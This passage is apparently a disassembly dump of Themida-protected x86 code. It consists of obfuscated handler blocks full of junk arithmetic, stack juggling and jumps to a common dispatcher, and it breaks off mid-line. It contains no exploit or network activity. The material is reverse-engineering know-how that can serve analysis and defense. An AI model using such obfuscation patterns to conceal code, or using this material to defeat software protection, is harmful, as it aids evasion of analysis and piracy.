loc_567776: ; CODE XREF: Themida_:0056D6DEj mov ah, dh pop edx jmp loc_562045 ; --------------------------------------------------------------------------- loc_56777E: ; CODE XREF: Themida_:0056E791j mov eax, esp add eax, 4 push ecx push eax mov eax, 0A4C3C90h shr eax, 3 shr eax, 2 jmp loc_57004A ; --------------------------------------------------------------------------- loc_567797: ; CODE XREF: Themida_:00566C95j sub eax, edx pop edx push 4CC3h mov [esp], eax not dword ptr [esp] pop eax jmp loc_55FF2C ; --------------------------------------------------------------------------- loc_5677AB: ; CODE XREF: Themida_:0056C5DAj pop ebp jmp loc_56FC40 ; --------------------------------------------------------------------------- loc_5677B1: ; CODE XREF: Themida_:00570A93j not ecx jmp loc_56C960 ; --------------------------------------------------------------------------- loc_5677B8: ; CODE XREF: Themida_:0056AC3Fj mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_56F0BA ; --------------------------------------------------------------------------- loc_5677CE: ; CODE XREF: Themida_:00572816j sub ebp, ebx pop ebx pop ebx add dword ptr [esp+4], 1AB2CB4h add [esp+4], ebp jmp loc_56B1EF ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] jmp loc_56933F ; --------------------------------------------------------------------------- loc_5677EE: ; CODE XREF: Themida_:0055F044j mov edx, ebp pop ebp shr edx, 7 add edx, 1000605h push ecx mov ecx, 1 sub edx, ecx pop ecx dec edx add edx, 304625B0h jmp loc_5604DD ; --------------------------------------------------------------------------- loc_56780F: ; CODE XREF: Themida_:0056FF59j add eax, 4 xchg eax, [esp] pop esp jmp loc_561412 ; --------------------------------------------------------------------------- loc_56781B: ; CODE XREF: Themida_:0056634Dj push eax mov eax, 403917E6h mov edx, eax mov eax, [esp] add esp, 4 inc edx push edx not dword ptr [esp] pop edx neg edx jmp loc_55F327 ; --------------------------------------------------------------------------- loc_567836: ; CODE XREF: Themida_:00565F1Fj pop esp add ebx, 4 push ecx mov ecx, 4 sub ebx, 5C546126h sub ebx, ecx add ebx, 5C546126h pop ecx xchg ebx, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push ecx jmp loc_56D0AE ; --------------------------------------------------------------------------- loc_56786D: ; CODE XREF: Themida_:0056D3B3j push ecx push esi jmp loc_560115 ; --------------------------------------------------------------------------- loc_567874: ; CODE XREF: Themida_:005706D4j sub esp, 4 jmp loc_564BCD ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], ebx jmp loc_562A68 ; --------------------------------------------------------------------------- loc_56788E: ; CODE XREF: Themida_:00561585j add edx, ecx jmp loc_571301 ; --------------------------------------------------------------------------- loc_567895: ; CODE XREF: Themida_:00569482j add ecx, 26F538FCh push esi mov esi, 0AEAB7994h sub ecx, esi pop esi push ebx mov ebx, 35B83D9Bh add esi, ebx pop ebx sub esi, ecx sub esi, 35B83D9Bh push dword ptr [esp] pop ecx jmp loc_55F27A ; --------------------------------------------------------------------------- loc_5678BE: ; CODE XREF: Themida_:00571577j push dword ptr [esp] pop esi jmp loc_56BA45 ; --------------------------------------------------------------------------- loc_5678C7: ; CODE XREF: Themida_:005612FCj add eax, ecx push ebx mov ebx, 6AA36795h add eax, 75454D9h add eax, ebx sub eax, 75454D9h jmp loc_56E724 ; --------------------------------------------------------------------------- loc_5678E0: ; CODE XREF: Themida_:0057180Ej add eax, 34FE631Bh push edx mov edx, 37CB12E2h add eax, edx pop edx push 6007h mov [esp], ebp mov ebp, 2F864E25h jmp loc_56F3E1 ; --------------------------------------------------------------------------- loc_567900: ; CODE XREF: Themida_:0056F205j xor ecx, [esp] mov esp, [esp] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56790B: ; CODE XREF: Themida_:0056BC58j not edi xchg edi, esi shl esi, 3 push ecx jmp loc_568362 ; --------------------------------------------------------------------------- loc_567918: ; CODE XREF: Themida_:0056A424j shl eax, 5 push ecx mov ecx, 27B26C8Ah add eax, ecx pop ecx jmp loc_565DCF ; --------------------------------------------------------------------------- loc_567929: ; CODE XREF: Themida_:0057218Cj pop ecx shr ebx, 2 and ebx, 1F4240EDh push ebx jmp loc_566325 ; --------------------------------------------------------------------------- loc_567939: ; CODE XREF: Themida_:0056D756j push 1A97h jmp loc_55F078 ; --------------------------------------------------------------------------- loc_567943: ; CODE XREF: Themida_:0056B221j mov bl, dh pop edx sub al, 0A9h add al, 0Fh jmp loc_56B7F1 ; --------------------------------------------------------------------------- loc_56794F: ; CODE XREF: Themida_:0056312Aj mov ebp, 55650558h push eax mov eax, 70860DA2h xor ebp, eax pop eax xor esi, ebp mov ebp, [esp] jmp loc_571A2D ; --------------------------------------------------------------------------- loc_567967: ; CODE XREF: Themida_:0056FDE2j add esp, 4 jmp loc_5650F3 ; --------------------------------------------------------------------------- loc_56796F: ; CODE XREF: Themida_:005707D3j mov ebp, 59E86FD9h shr ebp, 1 not ebp not ebp jmp loc_5650B7 ; --------------------------------------------------------------------------- loc_56797F: ; CODE XREF: Themida_:0055FCA8j add esp, 4 neg cl xor cl, 0Bh xor cl, 0ECh sub cl, 77h sub cl, 12h push eax mov ah, 0 jmp loc_563B59 ; --------------------------------------------------------------------------- loc_567998: ; CODE XREF: Themida_:00561B2Bj sub edx, 4DFD6E0Eh push dword ptr [esp] pop esi jmp loc_56D919 ; --------------------------------------------------------------------------- loc_5679A7: ; CODE XREF: Themida_:0055F863j pop ebp xchg eax, esi push ecx sub esp, 4 mov [esp], ebx push ecx mov ecx, 561E2590h sub ecx, 0FFFFFFFFh add ecx, 0DFBCDB3Dh mov ebx, ecx pop ecx jmp loc_566FBF ; --------------------------------------------------------------------------- loc_5679CD: ; CODE XREF: Themida_:0055DB7Ej dec ebp dec ebp or ebp, 0F5155A1h jmp loc_564090 ; --------------------------------------------------------------------------- loc_5679DA: ; CODE XREF: Themida_:0056066Aj push ecx mov ecx, 10630F8h push edx mov edx, 8CA81659h sub ecx, edx jmp loc_56BF6E ; --------------------------------------------------------------------------- loc_5679ED: ; CODE XREF: Themida_:00567FE8j sub edx, 74736ABEh sub edx, 5DA27DFDh add edx, edi add edx, 5DA27DFDh add edx, 74736ABEh push eax jmp loc_56C779 ; --------------------------------------------------------------------------- loc_567A0D: ; CODE XREF: Themida_:0056E9C4j add bl, 9Ch sub bl, cl jmp loc_55FEE3 ; --------------------------------------------------------------------------- loc_567A17: ; CODE XREF: Themida_:0055F21Cj add esi, 128E26F6h mov eax, esi pop esi mov esi, eax pop eax push ecx push edi mov edi, 7D3C01ADh xor edi, 684852ADh mov ecx, edi pop edi xor esi, ecx pop ecx jmp loc_56F086 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], edi push 5278h push esp pop dword ptr [esp] add dword ptr [esp], 4 pop edi push 62A3h mov [esp], eax push ecx mov ecx, 1A0F7BA3h not ecx jmp loc_56E955 ; --------------------------------------------------------------------------- loc_567A6E: ; CODE XREF: Themida_:0057259Fj pop ebp sub ebp, edi mov edi, [esp] add esp, 4 push ebx mov ebx, 1BE3348Bh add ebp, ebx pop ebx add ebp, edx sub ebp, 1BE3348Bh add ebp, 678277F5h pop edx push edx mov edx, 2 jmp loc_571CF9 ; --------------------------------------------------------------------------- loc_567A9D: ; CODE XREF: Themida_:00568FF6j xor al, dh mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esi push esp pop esi jmp loc_55E690 ; --------------------------------------------------------------------------- loc_567AB5: ; CODE XREF: Themida_:00564F34j push 0A33h jmp loc_56668D ; --------------------------------------------------------------------------- loc_567ABF: ; CODE XREF: Themida_:00561A20j add ebx, esi sub ebx, 76744661h jmp loc_55F221 ; --------------------------------------------------------------------------- loc_567ACC: ; CODE XREF: Themida_:0056F17Fj add bl, al add bl, 94h sub bl, 0F7h push 32F0h mov [esp], ecx jmp loc_5715AC ; --------------------------------------------------------------------------- loc_567AE1: ; CODE XREF: Themida_:005600AFj xchg ebp, esi not ebp jmp loc_565052 ; --------------------------------------------------------------------------- loc_567AEA: ; CODE XREF: Themida_:0056B920j mov edx, 4210020Bh add edx, 0E320456Fh jmp loc_562D48 ; --------------------------------------------------------------------------- loc_567AFA: ; CODE XREF: Themida_:00567F2Bj sub edx, 4CF7170Ah jmp loc_563355 ; --------------------------------------------------------------------------- loc_567B05: ; CODE XREF: Themida_:0056702Ej xchg esi, [esp] pop esp mov [esp], ecx mov ecx, esp jmp loc_5624D7 ; --------------------------------------------------------------------------- loc_567B13: ; CODE XREF: Themida_:00561061j sub eax, edi pop edi mov ebp, eax jmp loc_571F5F ; --------------------------------------------------------------------------- loc_567B1D: ; CODE XREF: Themida_:00570EB1j pop dword ptr [esp] jmp loc_56B1FC ; --------------------------------------------------------------------------- loc_567B25: ; CODE XREF: Themida_:00568B87j sub esp, 4 mov [esp], edi push ebp mov ebp, 22B0D5Eh xor ebp, 1B964F61h shl ebp, 8 xor ebp, 23020B5Ah add ebp, 42095FE9h xchg esi, ebp not esi jmp loc_562BC1 ; --------------------------------------------------------------------------- loc_567B52: ; CODE XREF: Themida_:00568A71j not ebx sub ebx, 0FFFFFFFFh jmp loc_56E6E8 ; --------------------------------------------------------------------------- loc_567B5C: ; CODE XREF: Themida_:00566477j mov ebp, 0C725DAh jmp loc_5674BE ; --------------------------------------------------------------------------- loc_567B66: ; CODE XREF: Themida_:0056CF02j add esp, 4 or esi, 5DDE608Bh jmp loc_5701B6 ; --------------------------------------------------------------------------- loc_567B77: ; CODE XREF: Themida_:005717EFj mov ebx, 7AD2892h sub ebx, 378E2280h and ebx, 114DDFh push ebp mov ebp, 43F5037Ch jmp loc_55DC53 ; --------------------------------------------------------------------------- loc_567B93: ; CODE XREF: Themida_:00562CDCj jmp loc_55D86D ; --------------------------------------------------------------------------- loc_567B98: ; CODE XREF: Themida_:0056D609j shl ah, 2 xor ah, 42h and dl, ah pop eax dec dl push edx not byte ptr [esp] pop edx jmp loc_5615BC ; --------------------------------------------------------------------------- loc_567BAD: ; CODE XREF: Themida_:0056F88Cj mov al, cl pop ecx and bl, al pop eax shr bl, 7 jmp loc_565300 ; --------------------------------------------------------------------------- loc_567BBB: ; CODE XREF: Themida_:005644C0j mov [esp], ebx mov ebx, 1EDE5EAEh push ebx push ecx mov ebx, [esp] add esp, 4 jmp loc_56C555 ; --------------------------------------------------------------------------- loc_567BD3: ; CODE XREF: Themida_:0056C920j add edi, 45004AC6h pop ecx push eax push esi mov esi, 53045936h sub esi, 53045932h mov eax, esi mov esi, [esp] add esp, 4 add edi, eax push dword ptr [esp] mov eax, [esp] add esp, 4 push 1AD0h mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] mov esp, [esp] push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] add [esp], eax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_567C2E: ; CODE XREF: Themida_:0055E372j add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], edx jmp loc_5717B5 ; --------------------------------------------------------------------------- loc_567C43: ; CODE XREF: Themida_:00567C8Cj push eax mov eax, 6F405EF9h mov ebp, eax pop eax jmp loc_56BE9F ; --------------------------------------------------------------------------- loc_567C51: ; CODE XREF: Themida_:0056950Bj neg ebp not ebp and ebp, 2D9D7808h sub ebp, 0D1D1804h add edi, 281D3E96h sub edi, 437E1367h add edi, ebp add edi, 437E1367h sub edi, 281D3E96h jmp loc_569C84 ; --------------------------------------------------------------------------- loc_567C80: ; CODE XREF: Themida_:0056EA15j mov [esp], edx jmp loc_56F94C ; --------------------------------------------------------------------------- loc_567C88: ; CODE XREF: Themida_:00562E08j mov [esp], edx push ebp jmp loc_567C43 ; --------------------------------------------------------------------------- loc_567C91: ; CODE XREF: Themida_:00569816j not dword ptr [esp] pop eax xchg eax, esi add esi, 9DB7C138h xor ebp, esi push dword ptr [esp] pop esi add esp, 4 jmp loc_564163 ; --------------------------------------------------------------------------- loc_567CAA: ; CODE XREF: Themida_:0056CACCj push dword ptr [esp+4] mov edi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp pop dword ptr [esp] jmp loc_56D25E ; --------------------------------------------------------------------------- loc_567CCA: ; CODE XREF: Themida_:00564F13j push 6C66h mov [esp], ebx pop ebp pop ebx not ebx xchg ebx, ebp shl ebp, 7 jmp loc_56E47B ; --------------------------------------------------------------------------- loc_567CE0: ; CODE XREF: Themida_:0056BD49j add ecx, 8401BA26h add ebp, ecx pop ecx xchg ebp, [esp] mov esp, [esp] movzx ecx, al push ebx push esp pop ebx push 853h mov [esp], eax push edi mov edi, 6B602871h jmp loc_5661FA ; --------------------------------------------------------------------------- loc_567D08: ; CODE XREF: Themida_:0056BDB3j mov ecx, 9A2DEE78h add eax, ecx pop ecx sub ecx, 4F09291Fh add ecx, eax jmp loc_57088A ; --------------------------------------------------------------------------- loc_567D1D: ; CODE XREF: Themida_:005676B0j mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_563669 ; --------------------------------------------------------------------------- loc_567D2C: ; CODE XREF: Themida_:0056CDEDj pop ebx sub eax, ebp jmp loc_569638 ; --------------------------------------------------------------------------- loc_567D34: ; CODE XREF: Themida_:0056BAB5j mov ch, dl pop edx jmp loc_55FC47 ; --------------------------------------------------------------------------- loc_567D3C: ; CODE XREF: Themida_:00569956j xor esi, [esp] pop esp push ecx mov ecx, 20h jmp loc_570D98 ; --------------------------------------------------------------------------- loc_567D4B: ; CODE XREF: Themida_:00564DBDj shr dword ptr [esp], cl pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_567D54: ; CODE XREF: Themida_:0056248Bj pop edx push eax mov eax, esp add eax, 4 add eax, 4 push eax jmp loc_56C14D ; --------------------------------------------------------------------------- loc_567D66: ; CODE XREF: Themida_:0055DFDAj add eax, edx pop edx sub esp, 4 mov [esp], ecx mov ecx, 1B7F0047h not ecx jmp loc_564E44 ; --------------------------------------------------------------------------- loc_567D7E: ; CODE XREF: Themida_:0055EC8Ej push ebx mov ebx, 58B3138Ch shr ebx, 2 xor ebx, 17525609h or ebx, 29DF7ED8h xor ebx, 10728777h add esi, ebx pop ebx jmp loc_567220 ; --------------------------------------------------------------------------- loc_567DA1: ; CODE XREF: Themida_:0055FB96j add ebx, 6F9F6145h add esi, ebx jmp loc_56B1A6 ; --------------------------------------------------------------------------- loc_567DAE: ; CODE XREF: Themida_:005699E5j or edx, 1C3744BAh xor edx, 6CED4D31h mov ebp, edx pop edx shl ebp, 8 jmp loc_5720F8 ; --------------------------------------------------------------------------- loc_567DC5: ; CODE XREF: Themida_:00562708j xor bh, ch push dword ptr [esp] jmp loc_55D982 ; --------------------------------------------------------------------------- loc_567DCF: ; CODE XREF: Themida_:00562E15j push esp pop edx add edx, 4 jmp loc_5624BA ; --------------------------------------------------------------------------- loc_567DDC: ; CODE XREF: Themida_:0056B5B8j push 2426h mov [esp], esi push esp pop esi push 13A6h jmp loc_56E39F ; --------------------------------------------------------------------------- loc_567DF0: ; CODE XREF: Themida_:005713ABj push 7D83h mov [esp], ebx push 66CE1314h mov ebx, [esp] add esp, 4 sub ebx, 19256A14h and ebx, 725E1A2Bh sub ebx, 0D5758937h mov ecx, ebx jmp loc_564625 ; --------------------------------------------------------------------------- loc_567E1C: ; CODE XREF: Themida_:0056B213j mov ecx, [esp] jmp loc_55E10E ; --------------------------------------------------------------------------- loc_567E24: ; CODE XREF: Themida_:0056CB98j shr ebp, 5 push ebp not dword ptr [esp] jmp loc_56642D ; --------------------------------------------------------------------------- loc_567E30: ; CODE XREF: Themida_:0055FAACj mov ecx, esp jmp loc_5667CA ; --------------------------------------------------------------------------- loc_567E37: ; CODE XREF: Themida_:005621E7j and esi, edi pop edi dec esi xor esi, 38853723h sub ebx, 19F87D94h sub ebx, esi add ebx, 19F87D94h pop esi sub ebx, 5C7E5F71h add ebx, eax add ebx, 5C7E5F71h push ebp mov ebp, 336739F8h shr ebp, 8 push ebp neg dword ptr [esp] pop ebp or ebp, 53335D9Fh shl ebp, 8 add ebp, 30B1255Ch push eax mov eax, 3B003269h sub ebx, eax mov eax, [esp] add esp, 4 jmp loc_55EA87 ; --------------------------------------------------------------------------- loc_567E8E: ; CODE XREF: Themida_:0055F41Cj add esi, ebx add esi, 62F974B7h add esi, 3C242A19h push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], esi push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_56DFF5 ; --------------------------------------------------------------------------- loc_567EC1: ; CODE XREF: Themida_:005609DFj push dword ptr [esp] pop ecx jmp loc_56A550 ; --------------------------------------------------------------------------- loc_567ECA: ; CODE XREF: Themida_:00568E80j mov esp, [esp] inc word ptr [esp] pushf jmp loc_56A6AA ; --------------------------------------------------------------------------- loc_567ED7: ; CODE XREF: Themida_:0056E489j mov edi, 6CC94242h add edi, 580E488Eh xor edi, 717674C9h jmp loc_56DA38 ; --------------------------------------------------------------------------- loc_567EED: ; CODE XREF: Themida_:00564519j pop edi push ecx jmp loc_563EE9 ; --------------------------------------------------------------------------- loc_567EF4: ; CODE XREF: Themida_:0056B73Bj add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ebp push edi jmp loc_55E9CB ; --------------------------------------------------------------------------- loc_567F06: ; CODE XREF: Themida_:00568222j shl edx, 2 neg edx push 65Bh mov [esp], ebp mov ebp, 1DBA659Bh or ebp, 2EED3044h push 6D35h mov [esp], edx mov edx, 7C2B766Eh jmp loc_567AFA ; --------------------------------------------------------------------------- loc_567F30: ; CODE XREF: Themida_:0055EBBCj push esp pop ebx add ebx, 4 sub ebx, 4 jmp loc_55FF6B ; --------------------------------------------------------------------------- loc_567F40: ; CODE XREF: Themida_:0056C277j sub ecx, edx jmp loc_55EE18 ; --------------------------------------------------------------------------- loc_567F47: ; CODE XREF: Themida_:0055EA08j push ecx mov ecx, 2C797DF7h mov eax, ecx pop ecx not eax jmp loc_56E8F5 ; --------------------------------------------------------------------------- loc_567F57: ; CODE XREF: Themida_:0056A2D7j xor edx, [esp] jmp loc_56E672 ; --------------------------------------------------------------------------- loc_567F5F: ; CODE XREF: Themida_:00560DDBj pop eax add ecx, 41BB5DA4h add ecx, 0AC8FD439h jmp loc_5690D0 ; --------------------------------------------------------------------------- loc_567F71: ; CODE XREF: Themida_:0055D8D0j add esp, 4 mov edx, [esp] push 6F3Dh mov [esp], edi jmp loc_55ECED ; --------------------------------------------------------------------------- loc_567F84: ; CODE XREF: Themida_:0056A3E0j xor cl, 0BCh push edx mov dh, 0AEh or dh, 0C8h push ecx mov ch, 23h shr ch, 5 not ch sub ch, 0FFh or ch, 60h jmp loc_568BB1 ; --------------------------------------------------------------------------- loc_567FA0: ; CODE XREF: Themida_:00571F83j mov [esp], esp add dword ptr [esp], 4 mov ecx, [esp] push esi jmp loc_56376D ; --------------------------------------------------------------------------- loc_567FB0: ; CODE XREF: Themida_:0055EE4Ej mov [esp], esi jmp loc_56A6AF ; --------------------------------------------------------------------------- loc_567FB8: ; CODE XREF: Themida_:00566157j add ebx, 4 push ebp jmp loc_561106 ; --------------------------------------------------------------------------- loc_567FC4: ; CODE XREF: Themida_:0056835Dj mov ecx, 4 mov esi, ecx pop ecx add eax, esi mov esi, [esp] add esp, 4 xchg eax, [esp] pop esp push 19CEh mov [esp], esi jmp loc_563992 ; --------------------------------------------------------------------------- loc_567FE5: ; CODE XREF: Themida_:0056FE5Cj sub edx, ecx pop ecx jmp loc_5679ED ; --------------------------------------------------------------------------- loc_567FED: ; CODE XREF: Themida_:00564C15j push ecx push dword ptr [esp+4] mov ecx, [esp] add esp, 4 pop dword ptr [esp] pop esp btc [esp], ax pushf jmp loc_55D86D ; --------------------------------------------------------------------------- loc_56800A: ; CODE XREF: Themida_:0056DC41j add edi, 575324E7h add edi, 58500F17h add edi, ebx sub edi, 58500F17h jmp loc_56810E ; --------------------------------------------------------------------------- loc_568023: ; CODE XREF: Themida_:00565DCAj push 6637h mov [esp], eax mov eax, 69E51DB9h jmp loc_562916 ; --------------------------------------------------------------------------- loc_568035: ; CODE XREF: Themida_:005715EFj add dl, 7Bh pop cx neg dl add dl, 0C3h push ecx jmp loc_5616FB ; --------------------------------------------------------------------------- loc_568045: ; CODE XREF: Themida_:00560897j shr esi, 3 add esi, 0F7AFB26Fh add edx, esi pop esi jmp loc_568E71 ; --------------------------------------------------------------------------- loc_568056: ; CODE XREF: Themida_:0057124Bj inc dh add dh, 52h shl dh, 1 shr dh, 4 add dh, 77h sub bl, dh pop edx movzx eax, al sub esp, 4 jmp loc_56ADC7 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push 5D0h jmp loc_572740 ; --------------------------------------------------------------------------- loc_568084: ; CODE XREF: Themida_:0056BF56j mov esi, 49373CC7h jmp loc_57045B ; --------------------------------------------------------------------------- loc_56808E: ; CODE XREF: Themida_:0055F8E8j add esp, 4 jmp loc_56DFA3 ; --------------------------------------------------------------------------- loc_568099: ; CODE XREF: Themida_:00560E22j add edi, ebp push 3575h mov [esp], edx mov edx, 50AD2496h xor edx, 5AD3366Bh sub edi, edx pop edx pop ebp jmp loc_5622D8 ; --------------------------------------------------------------------------- loc_5680B7: ; CODE XREF: Themida_:0056B6A6j add al, cl add al, 4 mov ecx, [esp] add esp, 4 jmp loc_56DB32 ; --------------------------------------------------------------------------- loc_5680C6: ; CODE XREF: Themida_:0056F8D2j pop dword ptr [esp] pop esp sub bl, al jmp loc_561AB8 ; --------------------------------------------------------------------------- loc_5680D1: ; CODE XREF: Themida_:00560791j pop ebp jmp loc_55DEA8 ; --------------------------------------------------------------------------- loc_5680D7: ; CODE XREF: Themida_:0056F4EDj mov esi, [esp] add esp, 4 push eax mov eax, esp jmp loc_5628A1 ; --------------------------------------------------------------------------- loc_5680E5: ; CODE XREF: Themida_:00571A28j not cl jmp loc_56AA5A ; --------------------------------------------------------------------------- loc_5680EC: ; CODE XREF: Themida_:0056A4B4j mov [esp], edi mov edi, 5E575E99h jmp loc_56D2A9 ; --------------------------------------------------------------------------- loc_5680F9: ; CODE XREF: Themida_:0055FD09j mov dh, bl mov al, dh jmp loc_56AF40 ; --------------------------------------------------------------------------- loc_568102: ; CODE XREF: Themida_:0056B342j push ebp jmp loc_56B629 ; --------------------------------------------------------------------------- loc_568108: ; CODE XREF: Themida_:0056C80Ej pop ecx jmp loc_55F0F7 ; --------------------------------------------------------------------------- loc_56810E: ; CODE XREF: Themida_:0056801Ej push ebp mov ebp, 575324E7h sub edi, ebp pop ebp pop ebx and eax, edi push dword ptr [esp] jmp loc_56B226 ; --------------------------------------------------------------------------- loc_568122: ; CODE XREF: Themida_:0056F712j xchg esi, [esp] jmp loc_56EC57 ; --------------------------------------------------------------------------- loc_56812A: ; CODE XREF: Themida_:0056BE5Cj shl esi, 6 jmp loc_561961 ; --------------------------------------------------------------------------- loc_568132: ; CODE XREF: Themida_:00568FEDj push 66h mov [esp], ecx push 14E37D45h push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp add esp, 4 jmp loc_5669A4 ; --------------------------------------------------------------------------- loc_568169: ; CODE XREF: Themida_:0056588Fj add esi, edi add esi, 5517673Eh jmp loc_563BAF ; --------------------------------------------------------------------------- loc_568176: ; CODE XREF: Themida_:00566D5Bj mov eax, 4 push ebx mov ebx, 6FCE0668h dec ebx push ebx xchg eax, [esp] not eax xchg eax, [esp] pop ebx shr ebx, 6 add ebx, 320D7FCCh jmp loc_56B9E1 ; --------------------------------------------------------------------------- loc_56819A: ; CODE XREF: Themida_:0056AFDEj pop dword ptr [esp] jmp loc_569848 ; --------------------------------------------------------------------------- loc_5681A2: ; CODE XREF: Themida_:005715A0j xor cl, ah mov ax, [esp] add esp, 2 push bx mov bh, 0BBh xor cl, bh mov bx, [esp] jmp loc_55EBCE ; --------------------------------------------------------------------------- loc_5681BD: ; CODE XREF: Themida_:00560327j xchg esi, [esp] mov esp, [esp] mov [esp], edx push esp jmp loc_56E2B1 ; --------------------------------------------------------------------------- loc_5681CC: ; CODE XREF: Themida_:0056900Ej pop ebp add ebp, 6AE96807h jmp loc_571426 ; --------------------------------------------------------------------------- loc_5681D8: ; CODE XREF: Themida_:0055D8E7j pop esp jmp loc_55D86D ; --------------------------------------------------------------------------- loc_5681DE: ; CODE XREF: Themida_:0056ED2Cj mov edx, 4C5C3E62h jmp loc_56A76E ; --------------------------------------------------------------------------- loc_5681E8: ; CODE XREF: Themida_:00563F32j mov esi, 673C3E4Eh add esi, 1C781718h jmp loc_55FDEF ; --------------------------------------------------------------------------- loc_5681F8: ; CODE XREF: Themida_:0055E903j mov esi, ebx jmp loc_56274B ; --------------------------------------------------------------------------- loc_5681FF: ; CODE XREF: Themida_:0056E9E2j push dword ptr [eax] jmp loc_55D86D ; --------------------------------------------------------------------------- loc_568206: ; CODE XREF: Themida_:0056FD19j not ecx sub ecx, 20D75B34h sub ecx, 19C305E3h add eax, ecx pop ecx jmp loc_56A0C7 ; --------------------------------------------------------------------------- loc_56821C: ; CODE XREF: Themida_:0056A584j push 61531592h pop edx jmp loc_567F06 ; --------------------------------------------------------------------------- loc_568227: ; CODE XREF: Themida_:00564A22j push esp pop esi push 23E7h jmp loc_562543 ; --------------------------------------------------------------------------- loc_568233: ; CODE XREF: Themida_:00562ACDj pop edx pop eax sub edx, 3C463CBAh mov esi, edx pop edx add ecx, esi pop esi jmp loc_5727DF ; --------------------------------------------------------------------------- loc_568246: ; CODE XREF: Themida_:00565C93j xchg ebx, edx shl edx, 6 add edx, 333E5DFFh xor edx, 2DFC55E6h add eax, edx pop edx jmp loc_560FD0 ; --------------------------------------------------------------------------- loc_56825F: ; CODE XREF: Themida_:00566FB3j add esp, 4 xor eax, esi mov esi, [esp] add esp, 4 xor ebx, eax movzx ax, byte ptr [eax] jmp loc_56235E ; --------------------------------------------------------------------------- loc_568278: ; CODE XREF: Themida_:0056EDB7j shr ecx, 5 xor ecx, 741149ABh add ecx, 0D786833Ch mov esi, ecx pop ecx or ecx, esi pop esi sub ecx, 7FFF7F81h mov ebx, ecx push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 jmp loc_5723AC ; --------------------------------------------------------------------------- loc_5682A9: ; CODE XREF: Themida_:0056EDDCj mov ebx, 78156A57h mov ecx, ebx pop ebx neg ecx push edx jmp loc_57236C ; --------------------------------------------------------------------------- loc_5682B9: ; CODE XREF: Themida_:0056477Aj xor ecx, [esp] pop esp push 792Ch mov [esp], ebp push eax jmp loc_56F3A6 ; --------------------------------------------------------------------------- loc_5682CB: ; CODE XREF: Themida_:00560FB9j not dh jmp loc_56B21E ; --------------------------------------------------------------------------- loc_5682D2: ; CODE XREF: Themida_:00562AF3j not dword ptr [esp] pop esi sub esi, 15E1765Bh xor esi, 0FC354044h mov ecx, esi pop esi neg ecx jmp loc_56FA2E ; --------------------------------------------------------------------------- loc_5682EC: ; CODE XREF: Themida_:00564C6Dj push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_5699EA ; --------------------------------------------------------------------------- loc_5682FB: ; CODE XREF: Themida_:00564C81j pop ebx jmp loc_56340A ; --------------------------------------------------------------------------- loc_568301: ; CODE XREF: Themida_:00569649j mov bh, ch mov ecx, [esp] add esp, 4 sub ah, bh jmp loc_562AD2 ; --------------------------------------------------------------------------- loc_568310: ; CODE XREF: Themida_:0056421Aj xor [esp], edx xor edx, [esp] pop esp mov [esp], ecx jmp loc_56E356 ; --------------------------------------------------------------------------- loc_56831F: ; CODE XREF: Themida_:0056D105j pop eax add esp, 4 add ecx, edi push ebx jmp loc_565A30 ; --------------------------------------------------------------------------- loc_56832B: ; CODE XREF: Themida_:0056C197j push ecx mov ecx, 2F587D4Bh dec ecx xor ecx, 2F587D4Eh add edi, ecx pop ecx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_569A2A ; --------------------------------------------------------------------------- loc_568349: ; CODE XREF: Themida_:00560717j mov esi, 4 sub eax, 654718ABh add eax, esi add eax, 654718ABh pop esi push esi push ecx jmp loc_567FC4 ; --------------------------------------------------------------------------- loc_568362: ; CODE XREF: Themida_:00567913j mov ecx, 75254A66h not ecx sub ecx, 7E38012Ch or ecx, 4AF360B9h not ecx and ecx, 2FC8504Fh add ecx, 7D16302Ch xor esi, ecx pop ecx jmp loc_56D8EC ; --------------------------------------------------------------------------- loc_56838B: ; CODE XREF: Themida_:0056F25Bj add esp, 4 push ebx jmp loc_55E5E4 ; --------------------------------------------------------------------------- loc_568397: ; CODE XREF: Themida_:005609C4j sub esp, 4 mov [esp], ebp mov ebx, [esp] add esp, 4 push dword ptr [esp] pop ebp jmp loc_566A99 ; --------------------------------------------------------------------------- loc_5683AC: ; CODE XREF: Themida_:0056CDBCj add esi, 2E08647Bh add esi, edi sub esi, 2E08647Bh pop edi jmp loc_56D41A ; --------------------------------------------------------------------------- sub esp, 4 mov [esp], esi push 552D4F8Ah pop esi jmp loc_56EA83 ; --------------------------------------------------------------------------- loc_5683D1: ; CODE XREF: Themida_:00563FC7j add ecx, 4 xchg ecx, [esp] jmp loc_570DD9 ; --------------------------------------------------------------------------- loc_5683DF: ; CODE XREF: Themida_:0055EE5Aj mov [esp], eax sub esp, 2 mov [esp], cx sub esp, 4 mov [esp], edx push ebx mov bl, 0D6h mov dh, 0F8h xor dh, bl mov ebx, [esp] add esp, 4 jmp loc_56BDF3 ; --------------------------------------------------------------------------- loc_568404: ; CODE XREF: Themida_:005699A8j push 25EAh jmp loc_5721B7 ; --------------------------------------------------------------------------- loc_56840E: ; CODE XREF: Themida_:00565D76j add eax, edi push ecx mov ecx, 0 add ecx, 201046F2h jmp loc_5635A9 ; --------------------------------------------------------------------------- loc_568421: ; CODE 